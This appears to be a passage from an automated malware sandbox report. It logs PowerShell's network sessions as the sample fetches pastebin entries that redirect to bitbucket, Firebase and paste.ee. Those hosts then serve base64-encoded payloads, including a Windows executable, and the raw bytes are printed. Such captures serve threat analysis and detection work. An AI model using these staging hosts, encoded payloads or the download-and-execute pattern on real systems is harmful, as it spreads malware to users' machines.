AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-03 04:53:14 UTC	1369	IN	Data Raw: 34 30 30 30 0d 0a 42 64 48 6f 45 41 41 53 42 46 44 6f 45 63 30 52 33 42 4b 42 48 6c 48 6f 45 63 59 77 42 50 55 68 67 53 30 61 67 53 45 41 41 49 6b 68 67 52 45 51 41 67 59 67 41 64 77 52 48 63 30 52 46 43 4b 52 72 42 4b 42 48 47 63 77 44 4f 55 4d 67 53 34 41 43 43 55 77 42 4a 45 68 67 53 41 41 49 46 34 51 44 43 4b 52 41 41 59 51 43 43 4b 52 42 43 4b 68 41 48 67 67 44 42 6f 77 41 43 41 67 48 43 6b 66 67 53 55 42 41 65 45 51 41 43 4b 52 46 43 49 51 41 51 4d 68 41 4f 49 51 2b 42 4b 52 46 48 30 61 67 53 30 42 41 41 59 41 41 54 45 51 41 67 55 67 44 42 55 66 67 53 55 68 42 74 47 6f 45 64 67 67 44 64 67 51 72 42 4b 68 44 42 55 66 67 53 55 42 48 49 67 77 42 56 45 55 45 42 46 68 41 43 41 77 42 42 46 42 41 67 51 51 44 42 46 52 41 41 55 67 44 64 4d 51 48 46 44 6f 45 Data Ascii: 4000BdHoEAASBFDoEc0R3BKBHlHoEcYwBPUhgS0agSEAAIkhgREQAgYgAdwRHc0RFCKRrBKBHGcwDOUMgS4ACCUwBJEhgSAAIF4QDCKRAAYQCCKRBCKhAHggDBowACAgHCkfgSUBAeEQACKRFCIQAQMhAOIQ+BKRFH0agS0BAAYAATEQAgUgDBUfgSUhBtGoEdggDdgQrBKhDBUfgSUBHIgwBVEUEBFhACAwBBFBAgQQDBFRAAUgDdMQHFDoE
2024-10-03 04:53:14 UTC	1369	IN	Data Raw: 67 41 41 55 41 41 54 45 67 43 45 41 77 45 43 41 77 45 42 67 68 45 56 59 41 41 54 45 77 42 45 41 67 48 42 6f 41 42 41 34 42 41 42 41 52 42 41 34 68 41 41 34 52 41 48 51 67 44 42 63 77 41 31 43 59 45 56 49 52 41 41 63 51 46 53 45 77 42 45 67 51 41 48 4d 41 48 63 45 41 41 45 49 51 41 48 4d 41 46 53 45 77 42 45 45 68 45 42 63 41 42 49 49 52 41 48 51 41 44 53 45 77 42 45 51 68 45 42 67 68 45 56 59 51 45 53 45 41 47 53 55 68 42 49 49 52 41 59 49 52 46 47 77 67 45 42 67 68 45 56 59 67 50 6b 39 47 61 30 56 57 62 67 51 57 5a 30 46 6d 63 6c 35 57 5a 6e 78 6a 45 6c 42 58 65 55 52 67 44 55 42 51 41 2b 51 32 62 6f 52 58 5a 74 42 43 5a 6c 52 58 59 79 56 6d 62 6c 64 47 50 53 41 51 41 78 49 51 41 42 41 43 42 41 41 41 41 66 39 56 5a 6a 35 57 59 30 4e 6e 62 4a 39 31 58 6c Data Ascii: gAAUAATEgCEAwECAwEBghEVYAATEwBEAgHBoABA4BABARBA4hAA4RAHQgDBcwA1CYEVIRAAcQFSEwBEgQAHMAHcEAAEIQAHMAFSEwBEEhEBcABIIRAHQADSEwBEQhEBghEVYQESEAGSUhBIIRAYIRFGwgEBghEVYgPk9Ga0VWbgQWZ0Fmcl5WZnxjElBXeURgDUBQA+Q2boRXZtBCZlRXYyVmbldGPSAQAxIQABACBAAAAf9VZj5WY0NnbJ91Xl
2024-10-03 04:53:14 UTC	1369	IN	Data Raw: 43 53 41 41 41 45 77 67 45 41 41 41 42 42 41 41 41 44 51 68 45 42 67 68 45 56 59 77 42 52 49 52 41 59 49 52 46 47 63 41 43 53 45 41 47 53 55 68 42 48 77 67 45 42 67 68 45 56 59 77 42 4a 43 4f 4e 5a 59 46 58 36 64 4c 43 49 41 41 41 44 34 41 41 41 4d 51 41 41 41 79 41 36 6f 51 31 52 38 33 58 2f 41 4c 43 41 6b 4e 42 45 31 68 71 74 4e 4d 6e 4a 31 66 71 46 36 4c 55 4a 6c 4d 41 41 4d 44 41 4d 42 77 4d 41 6b 46 41 45 42 51 52 41 51 45 41 30 41 77 53 41 55 47 41 47 42 41 4f 41 51 46 41 55 42 67 4d 41 63 48 41 6b 42 67 51 41 45 48 41 4a 42 67 59 41 6b 48 41 52 42 77 56 41 34 47 41 31 42 51 57 41 38 45 41 50 42 41 53 41 6f 48 41 59 42 51 55 41 51 45 41 36 42 41 4f 41 4d 44 41 71 42 77 54 41 63 46 41 4b 42 67 62 41 55 47 41 31 42 51 59 41 34 47 41 4c 42 77 56 41 45 Data Ascii: CSAAAEwgEAAABBAAADQhEBghEVYwBRIRAYIRFGcACSEAGSUhBHwgEBghEVYwBJCONZYFX6dLCIAAAD4AAAMQAAAyA6oQ1R83X/ALCAkNBE1hqtNMnJ1fqF6LUJlMAAMDAMBwMAkFAEBQRAQEA0AwSAUGAGBAOAQFAUBgMAcHAkBgQAEHAJBgYAkHARBwVA4GA1BQWA8EAPBASAoHAYBQUAQEA6BAOAMDAqBwTAcFAKBgbAUGA1BQYA4GALBwVAE
2024-10-03 04:53:14 UTC	1369	IN	Data Raw: 41 6f 47 41 34 41 41 4f 41 34 45 41 30 41 51 4f 41 6b 44 41 31 42 77 55 41 4d 45 41 34 42 67 53 41 67 44 41 74 42 51 62 41 63 47 41 4c 42 51 53 41 55 47 41 56 42 41 61 41 6b 47 41 75 42 41 62 41 6b 48 41 71 42 77 4d 41 6b 45 41 4c 42 41 53 41 59 47 41 52 42 67 4e 41 59 46 41 30 42 41 4e 41 49 44 41 45 42 51 51 41 49 46 41 44 42 51 55 41 67 47 41 59 42 77 53 70 43 49 41 41 41 46 41 78 41 67 54 41 51 45 41 76 42 51 63 41 49 44 41 5a 42 67 63 41 77 47 41 53 42 77 53 41 45 45 41 44 42 77 59 41 6b 44 41 46 42 41 4f 41 59 46 41 34 42 67 53 41 63 44 41 57 42 51 64 41 67 45 41 53 42 51 61 41 6f 45 41 72 42 67 4e 41 4d 46 41 36 42 51 56 41 6f 47 41 51 42 77 61 41 55 47 41 59 42 41 57 41 49 44 41 33 42 51 5a 41 49 46 41 6a 42 77 5a 41 67 45 41 74 42 77 63 41 6b 48 Data Ascii: AoGA4AAOA4EA0AQOAkDA1BwUAMEA4BgSAgDAtBQbAcGALBQSAUGAVBAaAkGAuBAbAkHAqBwMAkEALBASAYGARBgNAYFA0BANAIDAEBQQAIFADBQUAgGAYBwSpCIAAAFAxAgTAQEAvBQcAIDAZBgcAwGASBwSAEEADBwYAkDAFBAOAYFA4BgSAcDAWBQdAgEASBQaAoEArBgNAMFA6BQVAoGAQBwaAUGAYBAWAIDA3BQZAIFAjBwZAgEAtBwcAkH
2024-10-03 04:53:14 UTC	1369	IN	Data Raw: 42 77 61 41 55 48 41 69 42 41 63 41 34 47 41 4f 42 51 55 41 6f 46 41 35 42 51 4e 41 63 45 41 77 41 67 64 41 45 46 41 76 42 67 61 41 55 46 41 47 42 51 4f 41 30 47 41 4b 42 41 64 41 49 44 41 68 42 51 53 41 4d 48 41 4f 42 77 4e 41 77 47 41 77 41 51 55 41 41 44 41 77 41 51 57 48 44 49 41 41 67 45 41 73 42 67 4d 41 55 47 41 7a 42 41 52 41 51 47 41 36 42 51 57 41 45 46 41 76 42 41 54 41 6f 47 41 47 42 41 65 41 45 44 41 6f 42 67 63 41 4d 47 41 4d 42 41 65 41 59 46 41 77 42 67 56 41 34 47 41 32 42 77 63 41 6b 44 41 4d 42 67 5a 41 63 47 41 47 42 77 55 41 6f 47 41 36 42 77 4e 41 6f 47 41 47 42 67 61 41 51 44 41 74 42 67 64 41 63 45 41 56 42 51 54 41 77 47 41 58 42 51 61 41 63 47 41 4a 42 41 4d 41 6b 48 41 46 42 41 57 41 34 47 41 79 42 41 4f 41 77 47 41 72 42 67 56 Data Ascii: BwaAUHAiBAcA4GAOBQUAoFA5BQNAcEAwAgdAEFAvBgaAUFAGBQOA0GAKBAdAIDAhBQSAMHAOBwNAwGAwAQUAADAwAQWHDIAAgEAsBgMAUGAzBARAQGA6BQWAEFAvBATAoGAGBAeAEDAoBgcAMGAMBAeAYFAwBgVA4GA2BwcAkDAMBgZAcGAGBwUAoGA6BwNAoGAGBgaAQDAtBgdAcEAVBQTAwGAXBQaAcGAJBAMAkHAFBAWA4GAyBAOAwGArBgV
2024-10-03 04:53:14 UTC	1369	IN	Data Raw: 47 41 71 42 77 51 41 4d 44 41 42 42 41 52 41 49 45 41 47 42 51 51 41 77 45 41 31 42 41 54 41 51 47 41 42 42 77 63 41 55 47 41 35 41 77 64 41 49 44 41 75 42 67 4d 41 63 48 41 79 41 41 57 48 44 49 41 41 63 44 41 59 42 51 52 41 45 46 41 31 42 41 61 41 49 48 41 30 41 67 51 41 63 48 41 30 41 51 61 41 63 48 41 47 42 77 56 41 45 44 41 51 42 67 61 41 51 48 41 4b 42 41 62 41 6f 46 41 71 42 51 59 41 4d 45 41 6d 42 67 64 41 45 44 41 46 42 41 55 41 63 44 41 77 42 77 52 41 55 44 41 72 42 67 57 41 51 46 41 74 42 67 51 41 49 48 41 52 42 51 5a 41 6f 47 41 71 42 67 64 41 59 45 41 61 42 67 53 41 49 48 41 75 42 51 4e 41 49 46 41 33 42 41 64 41 49 47 41 43 42 51 61 41 49 45 41 74 42 41 53 41 63 45 41 6c 42 51 52 41 63 44 41 79 42 67 4d 41 49 46 41 32 42 77 55 41 6f 45 41 72 Data Ascii: GAqBwQAMDABBARAIEAGBQQAwEA1BATAQGABBwcAUGA5AwdAIDAuBgMAcHAyAAWHDIAAcDAYBQRAEFA1BAaAIHA0AgQAcHA0AQaAcHAGBwVAEDAQBgaAQHAKBAbAoFAqBQYAMEAmBgdAEDAFBAUAcDAwBwRAUDArBgWAQFAtBgQAIHARBQZAoGAqBgdAYEAaBgSAIHAuBQNAIFA3BAdAIGACBQaAIEAtBASAcEAlBQRAcDAyBgMAIFA2BwUAoEAr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49722	104.20.4.235	443	7096	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:28 UTC	74	OUT	GET /raw/V9y5Q5vv HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-10-03 04:53:28 UTC	396	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:28 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 21 Last-Modified: Thu, 03 Oct 2024 04:53:07 GMT Server: cloudflare CF-RAY: 8cca5424c9104228-EWR
2024-10-03 04:53:28 UTC	83	IN	Data Raw: 34 64 0d 0a 68 74 74 70 73 3a 2f 2f 62 69 74 62 75 63 6b 65 74 2e 6f 72 67 2f 38 39 39 39 39 39 39 39 39 39 39 39 39 39 2f 61 63 61 61 61 61 61 61 61 61 61 2f 64 6f 77 6e 6c 6f 61 64 73 2f 64 73 61 64 73 64 73 61 64 73 61 64 73 61 2e 74 78 74 0d 0a Data Ascii: 4dhttps://bitbucket.org/89999999999999/acaaaaaaaaa/downloads/dsadsdsadsadsa.txt
2024-10-03 04:53:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49723	185.166.143.50	443	7096	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:29 UTC	118	OUT	GET /89999999999999/acaaaaaaaaa/downloads/dsadsdsadsadsa.txt HTTP/1.1 Host: bitbucket.org Connection: Keep-Alive
2024-10-03 04:53:29 UTC	5124	IN	HTTP/1.1 302 Found Date: Thu, 03 Oct 2024 04:53:29 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: AtlassianEdge Location: https://bbuseruploads.s3.amazonaws.com/5c1faa65-8df1-44b3-9eef-4905cfb21066/downloads/153f1b3b-a7e8-4b91-b2b1-19798dd254b2/dsadsdsadsadsa.txt?response-content-disposition=attachment%3B%20filename%3D%22dsadsdsadsadsa.txt%22&AWSAccessKeyId=ASIA6KOSE3BNKASUWRVB&Signature=GfpU0CqDcq625CnXQ2BwtNOiGJM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEG0aCXVzLWVhc3QtMSJHMEUCIQDs8Rj4z4voHrA56yVpXNvb%2FsFKDQyxi%2B3o3W5qfuWusQIgLqQzvBFMFXX9Pa%2BoyIG%2B32jske%2BWh0S25%2Fynj2NB%2BBcqsAIItv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDMxhE6dop%2BJnHoLfPiqEAr8pHVnooTfi0YZkbhehEoaE1HM1hw7hoHIkopPIOTznsgPJgLmSVn4zaLDAXaFsXvcbpwil5pqs3yLuDuXNAyT6tr7PxdlycD%2FAJaRj7XgTxDLyt2nktlqdkRlEDXnBOTxrFM34uHRZq4gQIcXM%2FdeP1gNTHuVllr4hqgc8BtyPI0oFU6TWGdV61p4JgXiTcM8X%2Fs7Y2pNAaZQaYh1Kwk80bLwXYNBkJqe6fudHaku2Hr19n%2FI7ovUAmCunSxhwXenqzPnDzZTCwFDsnRaZo0mTJvCImTLI6KCQcZQtPWh0Q7P%2BZ8u6QsTrnfwdgKJJpE7FElvkKACOC6bBrj07%2FazaST1qMKXB%2BLcGOp0BIzHMRr4XYnUMQ24ozLJjMYALd1nwf%2BbKAue7hm%2By1s%2B%2BelqorxCz52uzxR1zc6F5j%2F8PF66cEvqBdIobK [TRUNCATED] Expires: Thu, 03 Oct 2024 04:53:29 GMT Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private X-Used-Mesh: False Vary: Accept-Language, Origin Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file X-Dc-Location: Micros-3 X-Served-By: 8e5620d07ccd X-Version: c0c21fc30b85 X-Static-Version: c0c21fc30b85 X-Request-Count: 1715 X-Render-Time: 0.061300039291381836 X-B3-Traceid: 17f529b8de2d409aadcb599e8571bd01 X-B3-Spanid: ef8946490929621e X-Frame-Options: SAMEORIGIN Content-Security-Policy: object-src 'none'; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; base-uri 'self'; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.stat [TRUNCATED] X-Usage-Quota-Remaining: 999089.629 X-Usage-Request-Cost: 928.30 X-Usage-User-Time: 0.027433 X-Usage-System-Time: 0.000416 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Age: 0 X-Cache: MISS X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: 17f529b8de2d409aadcb599e8571bd01 Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Server-Timing: atl-edge;dur=171,atl-edge-internal;dur=3,atl-edge-upstream;dur=169,atl-edge-pop;desc="aws-eu-central-1" Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49724	3.5.25.83	443	7096	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:30 UTC	1217	OUT	GET /5c1faa65-8df1-44b3-9eef-4905cfb21066/downloads/153f1b3b-a7e8-4b91-b2b1-19798dd254b2/dsadsdsadsadsa.txt?response-content-disposition=attachment%3B%20filename%3D%22dsadsdsadsadsa.txt%22&AWSAccessKeyId=ASIA6KOSE3BNKASUWRVB&Signature=GfpU0CqDcq625CnXQ2BwtNOiGJM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEG0aCXVzLWVhc3QtMSJHMEUCIQDs8Rj4z4voHrA56yVpXNvb%2FsFKDQyxi%2B3o3W5qfuWusQIgLqQzvBFMFXX9Pa%2BoyIG%2B32jske%2BWh0S25%2Fynj2NB%2BBcqsAIItv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDMxhE6dop%2BJnHoLfPiqEAr8pHVnooTfi0YZkbhehEoaE1HM1hw7hoHIkopPIOTznsgPJgLmSVn4zaLDAXaFsXvcbpwil5pqs3yLuDuXNAyT6tr7PxdlycD%2FAJaRj7XgTxDLyt2nktlqdkRlEDXnBOTxrFM34uHRZq4gQIcXM%2FdeP1gNTHuVllr4hqgc8BtyPI0oFU6TWGdV61p4JgXiTcM8X%2Fs7Y2pNAaZQaYh1Kwk80bLwXYNBkJqe6fudHaku2Hr19n%2FI7ovUAmCunSxhwXenqzPnDzZTCwFDsnRaZo0mTJvCImTLI6KCQcZQtPWh0Q7P%2BZ8u6QsTrnfwdgKJJpE7FElvkKACOC6bBrj07%2FazaST1qMKXB%2BLcGOp0BIzHMRr4XYnUMQ24ozLJjMYALd1nwf%2BbKAue7hm%2By1s%2B%2BelqorxCz52uzxR1zc6F5j%2F8PF66cEvqBdIobKudxk1ywppJrtepYoNJnvllkE9hTI8QXxVteGCBkiJsAP [TRUNCATED] Host: bbuseruploads.s3.amazonaws.com Connection: Keep-Alive
2024-10-03 04:53:30 UTC	552	IN	HTTP/1.1 200 OK x-amz-id-2: E2kER0EQf9qAvQAdwrTTk/3ZVqgTSal8s2om87im37OZ0VY/ffActcISXMb+YxkrbSLKDE9cSDfjN0rA2mJ5DE+tx07Vk5cl x-amz-request-id: 1N9SGR8A6MYV9CK3 Date: Thu, 03 Oct 2024 04:53:31 GMT Last-Modified: Thu, 03 Oct 2024 02:55:57 GMT ETag: "d56deb4b43b26b748bc2d1b71f2b2745" x-amz-server-side-encryption: AES256 x-amz-version-id: bnHQMdnIBnCcgFolFg0Y53FDW8.EhoTE Content-Disposition: attachment; filename="dsadsdsadsadsa.txt" Accept-Ranges: bytes Content-Type: text/plain Server: AmazonS3 Content-Length: 12972 Connection: close
2024-10-03 04:53:30 UTC	3452	IN	Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 4f 34 46 2f 6d 59 41 41 41 41 41 41 41 41 41 41 4f 41 41 49 69 41 4c 41 56 41 41 41 42 34 41 41 41 41 47 41 41 41 41 41 41 41 41 50 6a 77 41 41 41 41 67 41 41 41 41 41 41 41 41 41 41 41 41 45 41 41 67 41 41 41 41 41 67 41 Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAO4F/mYAAAAAAAAAAOAAIiALAVAAAB4AAAAGAAAAAAAAPjwAAAAgAAAAAAAAAAAAEAAgAAAAAgA
2024-10-03 04:53:30 UTC	9520	IN	Data Raw: 42 41 41 41 39 41 55 41 41 43 4e 54 64 48 4a 70 62 6d 64 7a 41 41 41 41 41 4f 41 4b 41 41 43 4d 42 67 41 41 49 31 56 54 41 47 77 52 41 41 41 51 41 41 41 41 49 30 64 56 53 55 51 41 41 41 42 38 45 51 41 41 65 41 49 41 41 43 4e 43 62 47 39 69 41 41 41 41 41 41 41 41 41 41 49 41 41 41 46 58 46 51 49 41 43 51 45 41 41 41 42 61 70 41 41 41 46 41 41 41 41 51 41 41 41 43 38 41 41 41 41 45 41 41 41 41 41 67 41 41 41 41 67 41 41 41 41 4a 41 41 41 41 50 77 41 41 41 41 30 41 41 41 41 43 41 41 41 41 41 51 41 41 41 41 4d 41 41 41 41 42 41 41 41 41 41 41 41 44 41 77 45 41 41 41 41 41 41 41 59 41 56 41 55 78 41 77 59 41 6a 41 4d 35 41 41 6f 41 50 77 55 75 42 41 59 41 64 77 4d 78 41 77 6f 41 65 77 56 6a 42 51 59 41 30 51 49 78 41 77 59 41 37 51 49 35 41 41 59 41 72 77 41 Data Ascii: BAAA9AUAACNTdHJpbmdzAAAAAOAKAACMBgAAI1VTAGwRAAAQAAAAI0dVSUQAAAB8EQAAeAIAACNCbG9iAAAAAAAAAAIAAAFXFQIACQEAAABapAAAFAAAAQAAAC8AAAAEAAAAAgAAAAgAAAAJAAAAPwAAAA0AAAACAAAAAQAAAAMAAAABAAAAAAADAwEAAAAAAAYAVAUxAwYAjAM5AAoAPwUuBAYAdwMxAwoAewVjBQYA0QIxAwYA7QI5AAYArwA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49725	104.20.4.235	443	7096	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:31 UTC	50	OUT	GET /raw/sFgsbG3v HTTP/1.1 Host: pastebin.com
2024-10-03 04:53:31 UTC	396	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:31 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 21 Last-Modified: Thu, 03 Oct 2024 04:53:10 GMT Server: cloudflare CF-RAY: 8cca54378c95c34a-EWR
2024-10-03 04:53:31 UTC	142	IN	Data Raw: 38 38 0d 0a 68 74 74 70 73 3a 2f 2f 66 69 72 65 62 61 73 65 73 74 6f 72 61 67 65 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 76 30 2f 62 2f 72 6f 64 72 69 61 6b 64 2d 38 34 31 33 64 2e 61 70 70 73 70 6f 74 2e 63 6f 6d 2f 6f 2f 50 65 25 32 46 70 2e 74 78 74 3f 61 6c 74 3d 6d 65 64 69 61 26 74 6f 6b 65 6e 3d 61 37 34 30 32 65 33 30 2d 37 33 31 62 2d 34 30 32 61 2d 61 62 36 35 2d 62 34 66 66 62 64 62 65 38 39 30 64 0d 0a Data Ascii: 88https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/Pe%2Fp.txt?alt=media&token=a7402e30-731b-402a-ab65-b4ffbdbe890d
2024-10-03 04:53:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49727	104.20.4.235	443	7096	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:34 UTC	50	OUT	GET /raw/cD7bJS7b HTTP/1.1 Host: pastebin.com
2024-10-03 04:53:34 UTC	396	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:34 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 21 Last-Modified: Thu, 03 Oct 2024 04:53:13 GMT Server: cloudflare CF-RAY: 8cca544888a2c457-EWR
2024-10-03 04:53:34 UTC	32	IN	Data Raw: 31 61 0d 0a 68 74 74 70 73 3a 2f 2f 70 61 73 74 65 2e 65 65 2f 64 2f 6c 48 62 48 6f 2f 30 0d 0a Data Ascii: 1ahttps://paste.ee/d/lHbHo/0
2024-10-03 04:53:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49728	188.114.96.3	443	7096	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 04:53:34 UTC	67	OUT	GET /d/lHbHo/0 HTTP/1.1 Host: paste.ee Connection: Keep-Alive
2024-10-03 04:53:35 UTC	1204	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 04:53:35 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jpj9%2FBDeFcTuPUnUAt50EfqJw8%2FE5CkxkRH%2BrBTVJeUff8PrbZkvSvlNvqDIeZBD6OkFD8JCDF3vvQO6mwpyIU8ktG6NgmrnuME7YkGd4S0HOvSyPB4tglguFA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cca544c58c743fd-EWR
2024-10-03 04:53:35 UTC	165	IN	Data Raw: 66 37 66 0d 0a 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: f7f=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-03 04:53:35 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
